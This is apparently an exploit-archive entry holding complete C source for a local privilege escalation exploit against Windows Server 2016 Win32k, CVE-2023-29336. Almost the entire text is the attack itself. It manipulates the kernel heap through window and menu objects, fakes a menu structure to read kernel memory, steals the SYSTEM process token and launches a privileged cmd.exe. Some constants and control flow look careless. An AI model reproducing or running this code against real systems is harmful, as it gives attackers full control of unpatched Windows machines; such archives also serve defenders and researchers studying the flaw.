Microsoft Windows Server 2016 - Win32k Elevation of Privilege

Author: Milad karimi
type: local
platform: windows
port: 
date_added: 2025-05-25  
date_updated: 2025-05-25  
verified: 0  
codes: CVE-2023-29336  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 52301.c  
# Exploit Title: Microsoft Windows Server 2016 - Win32k Elevation of
Privilege
# Date: 2025-05-19
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# Country: United Kingdom
# CVE : CVE-2023-29336




#include <windows.h>
#include <stdio.h>
#include <tchar.h>

#define IDM_MYMENU 101
#define IDM_EXIT 102
#define IDM_DISABLE 0xf120
#define IDM_ENABLE 104
#define EPROCESS_UNIQUE_PROCESS_ID_OFFSET 0x440
#define EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x448
#define EPROCESS_TOKEN_OFFSET 0x4b8

typedef DWORD64(NTAPI* NtUserEnableMenuItem)(HMENU hMenu, UINT
uIDEnableItem, UINT uEnable);

typedef DWORD64(NTAPI* NtUserSetClassLongPtr)(HWND a1, unsigned int a2,
unsigned __int64 a3, unsigned int a4);
typedef DWORD64(NTAPI* NtUserCreateAcceleratorTable)(void* Src, int a2);
typedef DWORD64(NTAPI* fnNtUserConsoleControl)(int nConsoleCommand, PVOID,
int nConsoleInformationLength);


NtUserSetClassLongPtr g_NtUserSetClassLongPtr = NULL;
NtUserEnableMenuItem g_NtUserEnableMenuItem = NULL;
NtUserCreateAcceleratorTable g_NtUserCreateAcceleratorTable = NULL;
fnNtUserConsoleControl g_pfnNtUserConsoleControl = nullptr;
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM
lParam);
int syytem();
typedef struct _SHELLCODE {
    DWORD reserved;
    DWORD pid;
    DWORD off_THREADINFO_ppi;
    DWORD off_EPROCESS_ActiveLink;
    DWORD off_EPROCESS_Token;
    BOOL bExploited;
    BYTE pfnWindProc[];
} SHELLCODE, * PSHELLCODE;
struct tagMENU
{
    ULONG64 field_0;
    ULONG64 field_8;
    ULONG64 field_10;
    ULONG64 field_18;
    ULONG64 field_20;
    PVOID obj28;
    DWORD field_30;
    DWORD flag1;
    DWORD flag2;
    DWORD cxMenu;
    DWORD cyMenu;
    ULONG64 field_48;
    PVOID rgItems;
    ULONG64 field_58; // + 0x58
    ULONG64 field_60;
    ULONG64 field_68;
    ULONG64 field_70;
    ULONG64 field_78;
    ULONG64 field_80;
    ULONG64 field_88;
    ULONG64 field_90;
    PVOID ref; // + 0x98
};
struct MyData
{
    BYTE name[0x96];
};
tagMENU* g_pFakeMenu = 0;
static PSHELLCODE pvShellCode = NULL;
HMENU hSystemMenu;
HMENU hMenu;
HMENU hSubMenu;
HMENU hAddedSubMenu;
HMENU hMenuB;
PVOID MENU_add = 0;
DWORD flag = 0;
UINT iWindowCount = 0x100;
HWND HWND_list[0x300];
HWND HWND_list1[0x20];
HMENU HMENUL_list[0x300];
int Hwnd_num = 0;
int Hwnd_num1 = 0;
ULONGLONG HWND_add = 0;
ULONGLONG GS_off = 0;
WORD max = 0;

static PULONGLONG ptagWNDFake = NULL;
static PULONGLONG ptagWNDFake1 = NULL;
static PULONGLONG ptagWNDFake2 = NULL;

static PULONGLONG GS_hanlde = NULL;

static PULONGLONG HWND_class = NULL;


struct ThreadParams {
    int threadId;
    int numLoops;
};


static unsigned long long GetGsValue(unsigned long long gsValue)
{
    return gsValue;
}
PVOID
GetMenuHandle(HMENU menu_D)
{
    int conut = 0;
    PVOID HANDLE = 0;
    PBYTE add = 0;
    WORD temp = 0;
    DWORD offset = 0xbd688;
    HMODULE hModule = LoadLibraryA("USER32.DLL");

    PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
    ULONGLONG par1 = 0;
    DWORD par2 = 0;
    memcpy((VOID*)&par1, (char*)((ULONGLONG)hModule + offset), 0x08);
    memcpy((VOID*)&par2, (char*)((ULONGLONG)hModule + offset + 0x08), 0x02);

    add = (PBYTE)(par1 + 0x18 * (WORD)menu_D);

    if (add)
    {
        HANDLE = *(PVOID*)add;
    }
    else
    {
        HANDLE = 0;
    }
    HANDLE= (PVOID*)((ULONGLONG)HANDLE - GS_off+0x20);
    return *(PVOID*)HANDLE;

}

PVOID
xxGetHMValidateHandle(HMENU menu_D, DWORD type_hanlde)
{
    int conut = 0;
    PVOID HANDLE = 0;
    PBYTE add = 0;
    WORD temp = 0;
    DWORD offset = 0xbd688;
    HMODULE hModule = LoadLibraryA("USER32.DLL");

    PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
    ULONGLONG par1 = 0;
    DWORD par2 = 0;
    memcpy((VOID*)&par1, (char*)((ULONGLONG)hModule + offset), 0x08);
    memcpy((VOID*)&par2, (char*)((ULONGLONG)hModule + offset + 0x08), 0x02);

    temp = (ULONGLONG)menu_D >> 16;
    add = (PBYTE)(par1 + 0x18 * (WORD)menu_D);
    if (add)
    {
        HANDLE = *(PVOID*)add;
    }
    else
    {
        HANDLE = 0;
    }
    HANDLE = (PVOID*)((ULONGLONG)HANDLE - GS_off + 0x20);
    return *(PVOID*)HANDLE;

}


static
VOID
xxReallocPopupMenu(VOID)
{
    for (INT i = 0; i < 0x8; i++)
    {
        WNDCLASSEXW Class = { 0 };
        WCHAR szTemp[0x100] = { 0 };
        HWND hwnd = NULL;
        wsprintfW(szTemp,
L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@A%d",
i);
        Class.cbSize = sizeof(WNDCLASSEXA);
        Class.lpfnWndProc = DefWindowProcW;
        Class.cbWndExtra = 0;
        Class.hInstance = GetModuleHandleA(NULL);
        Class.lpszMenuName = NULL;
        Class.lpszClassName = szTemp;
        if (!RegisterClassExW(&Class))
        {
            continue;
        }
    }

}
VOID
createclass(VOID)
{
    WCHAR szTemp[0x100] = { 0 };
    for (INT i = 9; i < 29; i++)
    {
        WNDCLASSEXW Class = { 0 };

        HWND hwnd = NULL;
        wsprintfW(szTemp, L"A@A%d", i);
        Class.cbSize = sizeof(WNDCLASSEXA);
        Class.lpfnWndProc = DefWindowProcW;
        Class.cbWndExtra = 0x20;
        Class.hInstance = GetModuleHandleA(NULL);
        Class.lpszMenuName = NULL;
        Class.lpszClassName = szTemp;
        Class.cbClsExtra = 0x1a0;
        if (!RegisterClassExW(&Class))
        {
            continue;
        }
    }

    for (INT i = 9; i < 29; i++)
    {
        wsprintfW(szTemp, L"A@A%d", i);
        HWND_list1[i]=CreateWindowEx(NULL, szTemp, NULL, WS_VISIBLE, 0, 0,
0, 0, NULL,NULL, NULL, NULL);


    }

}

ULONG64 Read64(ULONG64 address)
{
    MENUBARINFO mbi = { 0 };
    mbi.cbSize = sizeof(MENUBARINFO);

    g_pFakeMenu->rgItems = PVOID(address - 0x48);
    GetMenuBarInfo(HWND_list[max+1], OBJID_MENU, 1, &mbi);

    return (unsigned int)mbi.rcBar.left + ((ULONGLONG)mbi.rcBar.top << 32);
}
void exploit()
{
    for (int i = 0; i < 0x20; i++)
    {

        ULONG64 pmenu = SetClassLongPtr(HWND_list1[i], 0x270,
(LONG_PTR)g_pFakeMenu);
        if (pmenu != 0)
        {
            Hwnd_num = i;
            MENUBARINFO mbi = { 0 };
            mbi.cbSize = sizeof(MENUBARINFO);



        }
    }


    // Token stealing
    ULONG64 p = Read64(HWND_add +0x250+ 0x10); // USER_THREADINFO
    p = Read64(p); //THREADINFO
    p = Read64(p + 0x220); // (PROCESSINFO)

    ULONG64 eprocess = p;
    printf("Current EPROCESS = %llx\n", eprocess);
    p = Read64(p + 0x2f0);

    do {

        p = Read64(p + 0x08);
        ULONG64 pid = Read64(p - 0x08);
        if (pid == 4) {

            ULONG64 pSystemToken = Read64(p + 0x68);
            printf("pSys/tem Token = %llx \n", pSystemToken);

            HWND_class = (PULONGLONG)((PBYTE)0x303000);
            HWND_class[8] = eprocess + 0x290;
            HWND_class[12] = 0x100;
            HWND_class[20] = 0x303010;

            ULONG64 ret_add = SetClassLongPtr(HWND_list1[Hwnd_num], 0x250 +
0x98 - 0xa0, (LONG_PTR)HWND_class);
            SetClassLongPtr(HWND_list[max + 1], 0x28, pSystemToken);
            ret_add = SetClassLongPtr(HWND_list1[Hwnd_num], 0x250 + 0x98 -
0xa0, (LONG_PTR)ret_add);

            break;
        }
    } while (p != eprocess);
    syytem();
}


void buildmem()
{

    WORD max_handle = 0;
    pvShellCode = (PSHELLCODE)VirtualAlloc((PVOID)0x300000, 0x10000,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (pvShellCode == NULL)
    {
        return;
    }
    ZeroMemory(pvShellCode, 0x10000);



    ptagWNDFake = (PULONGLONG)((PBYTE)0x304140);
    ptagWNDFake[0] = (ULONGLONG)0x304140;

    ptagWNDFake[2] = (ULONGLONG)0x304140 + 0x10;



    ptagWNDFake[6] = (ULONGLONG)0x304140;
    ptagWNDFake[8] = 0x305300;

    ptagWNDFake[11] = (ULONGLONG)MENU_add;
    ptagWNDFake[68] = (ULONGLONG)0x304140 + 0x230;
    ptagWNDFake[69] = (ULONGLONG)0x304140 + 0x28;
    ptagWNDFake[70] = (ULONGLONG)0x304140 + 0x30;
    ptagWNDFake[71] = (ULONGLONG)0x000004;


    ptagWNDFake1 = (PULONGLONG)((PBYTE)0x305300);
    ptagWNDFake1[1] = (ULONGLONG)0x11;
    ptagWNDFake1[2] = (ULONGLONG)0x305320;
    ptagWNDFake1[6] = (ULONGLONG)0x1000000000020000;
    ptagWNDFake1[8] = (ULONGLONG)0x00000000029d0000;
    ptagWNDFake1[11] = (ULONGLONG)HWND_add + 0x63 - 0x120;


    ptagWNDFake1[14] = (ULONGLONG)0x306500;
    ptagWNDFake1[16] = (ULONGLONG)305400;


    ptagWNDFake2 = (PULONGLONG)((PBYTE)0x306500);
    ptagWNDFake1[11] = (ULONGLONG)0x306600;



    WNDCLASSEX WndClass = { 0 };
    WndClass.cbSize = sizeof(WNDCLASSEX);
    WndClass.lpfnWndProc = DefWindowProc;
    WndClass.style = CS_VREDRAW | CS_HREDRAW;
    WndClass.cbWndExtra = 0xe0;
    WndClass.hInstance = NULL;
    WndClass.lpszMenuName = NULL;
    WndClass.lpszClassName = L"NormalClass";

    RegisterClassEx(&WndClass);

    for (int i = 0; i < 0x200; i++)
    {
        HMENUL_list[i] = CreateMenu();
    }
    for (int i = 0; i < 0x100; i++)
    {
        HWND_list[i] = CreateWindowEx(NULL, L"NormalClass", NULL,
WS_VISIBLE, 0, 0, 0, 0, NULL, HMENUL_list[i], NULL, NULL);

    }
    for (int i = 0; i < 0x100; i++)
    {


        SetWindowLongPtr(HWND_list[i], 0x58, (LONG_PTR)0x0002080000000000);

        SetWindowLongPtr(HWND_list[i], 0x80, (LONG_PTR)0x0000303030000000);

    }


    for (int i = 0x20; i < 0x60; i++)
    {
        if ((ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2],
0x01)- (ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2 - 1],
0x01)== 0x250)
        {
            if ((ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2 +
1], 0x01)-(ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2], 0x01)
== 0x250)
            {
                HWND_add =
(ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i*2], 0x01);
                max = i * 2;
                break;
            }
        }
        if (i == 0x5f)
        {
            HWND_add = 0;
        }

    }

    ptagWNDFake1[11] = (ULONGLONG)HWND_add + 0x63 - 0x120;


    DestroyWindow(HWND_list[max]);

    createclass();



    // Create a fake spmenu
    PVOID hHeap = (PVOID)0x302000;

    g_pFakeMenu = (tagMENU*)(PVOID)0x302000;
    g_pFakeMenu->ref = (PVOID)0x302300;
    *(PULONG64)g_pFakeMenu->ref = (ULONG64)g_pFakeMenu;
    // cItems = 1
    g_pFakeMenu->obj28 = (PVOID)0x302200;
    *(PULONG64)((PBYTE)g_pFakeMenu->obj28 + 0x2C) = 1;
    // rgItems
    g_pFakeMenu->rgItems = (PVOID)0x304000;
    // cx / cy must > 0
    g_pFakeMenu->flag1 = 1;
    g_pFakeMenu->flag2 = 1;
    g_pFakeMenu->cxMenu = 1;
    g_pFakeMenu->cyMenu = 1;


    //

}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR
lpCmdLine, int nCmdShow)
{
    ULONGLONG gsValue = 0;
    unsigned char shellcode[] =
"\x65\x48\x8B\x04\x25\x30\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\xc3";

    LPVOID executableMemory = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (executableMemory == NULL) {
        return 1;
    }
    memcpy(executableMemory, shellcode, sizeof(shellcode));

    gsValue = ((ULONGLONG(*)())executableMemory)();
    gsValue = gsValue + 0x800;
    GS_hanlde = (PULONGLONG)(PBYTE)gsValue;
    GS_off = GS_hanlde[5];

    char str[0xb8] = "";
    memset(str, 0x41, 0xa8);
    g_NtUserEnableMenuItem =
(NtUserEnableMenuItem)GetProcAddress(GetModuleHandleA("win32u.dll"),
"NtUserEnableMenuItem");
    g_NtUserSetClassLongPtr =
(NtUserSetClassLongPtr)GetProcAddress(GetModuleHandleA("win32u.dll"),
"NtUserSetClassLongPtr");
    g_NtUserCreateAcceleratorTable =
(NtUserCreateAcceleratorTable)GetProcAddress(GetModuleHandleA("win32u.dll"),
"NtUserCreateAcceleratorTable");
    g_pfnNtUserConsoleControl =
(fnNtUserConsoleControl)GetProcAddress(GetModuleHandleA("win32u.dll"),
"NtUserConsoleControl");

    WNDCLASS wc = { 0 };

    wc.lpfnWndProc = WndProc;
    wc.hInstance = hInstance;
    wc.lpszClassName = TEXT("EnableMenuItem");

    RegisterClass(&wc);

    HWND hWnd = CreateWindow(
        wc.lpszClassName,
        TEXT("EnableMenuItem"),
        WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT,
        CW_USEDEFAULT,
        400, 300,
        NULL,
        NULL,
        hInstance,
        NULL
    );

    if (!hWnd) return FALSE;

    ///


    hSystemMenu = GetSystemMenu(hWnd, FALSE);

    hSubMenu = CreatePopupMenu();
    MENU_add = GetMenuHandle(hSubMenu);
    hMenuB = CreateMenu();

    buildmem();
    if (HWND_add == 0)
    {
        return 0;
    }


    AppendMenu(hSubMenu, MF_STRING, 0x2061, TEXT("0"));
    AppendMenu(hSubMenu, MF_STRING, 0xf060, TEXT("1"));

    DeleteMenu(hSystemMenu, SC_CLOSE, MF_BYCOMMAND);

    AppendMenu(hMenuB, MF_POPUP, (UINT_PTR)hSubMenu, L"Menu A");

    AppendMenu(hSystemMenu, MF_POPUP, (UINT_PTR)hMenuB, L"Menu B");



    ShowWindow(hWnd, nCmdShow);
    UpdateWindow(hWnd);

    flag = 1;
    g_NtUserEnableMenuItem(hSystemMenu, 0xf060, 0x01);

    exploit();

    MSG msg = { 0 };

    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return (int)msg.wParam;
}

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM
lParam)
{
    switch (message)
    {
    case WM_DESTROY:
        PostQuitMessage(0);
        return 0;
    case 0xae:
        switch (wParam)
        {
        case 0x1000:
            if (flag)
            {
                int itemCount = GetMenuItemCount(hMenuB);

                for (int i = itemCount - 1; i >= 0; i--) {
                    RemoveMenu(hMenuB, i, MF_BYPOSITION);
                }
                DestroyMenu(hSubMenu);
                xxReallocPopupMenu();
            }
        case 0x1001:
            if (flag)
            {
                int itemCount = GetMenuItemCount(hMenuB);

                for (int i = itemCount - 1; i >= 0; i--) {
                    RemoveMenu(hMenuB, i, MF_BYPOSITION);
                }
                DestroyMenu(hSubMenu);
                xxReallocPopupMenu();
            }

            return 0;
        }
        break;


    }

    return DefWindowProc(hWnd, message, wParam, lParam);
}
int syytem()
{
    SECURITY_ATTRIBUTES sa;
    HANDLE hRead, hWrite;
    byte buf[40960] = { 0 };
    STARTUPINFOW si;
    PROCESS_INFORMATION pi;
    DWORD bytesRead;
    RtlSecureZeroMemory(&si, sizeof(si));
    RtlSecureZeroMemory(&pi, sizeof(pi));
    RtlSecureZeroMemory(&sa, sizeof(sa));
    int br = 0;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;
    if (!CreatePipe(&hRead, &hWrite, &sa, 0))
    {
        return -3;
    }

    si.cb = sizeof(STARTUPINFO);
    GetStartupInfoW(&si);
    si.hStdError = hWrite;
    si.hStdOutput = hWrite;
    si.wShowWindow = SW_HIDE;
    si.lpDesktop = L"WinSta0\\Default";
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    wchar_t cmd[4096] = { L"cmd.exe" };

    if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si,
&pi))
    {
        CloseHandle(hWrite);
        CloseHandle(hRead);
        printf("[!] CreateProcessW Failed![%lx]\n", GetLastError());
        return -2;
    }
    CloseHandle(hWrite);

}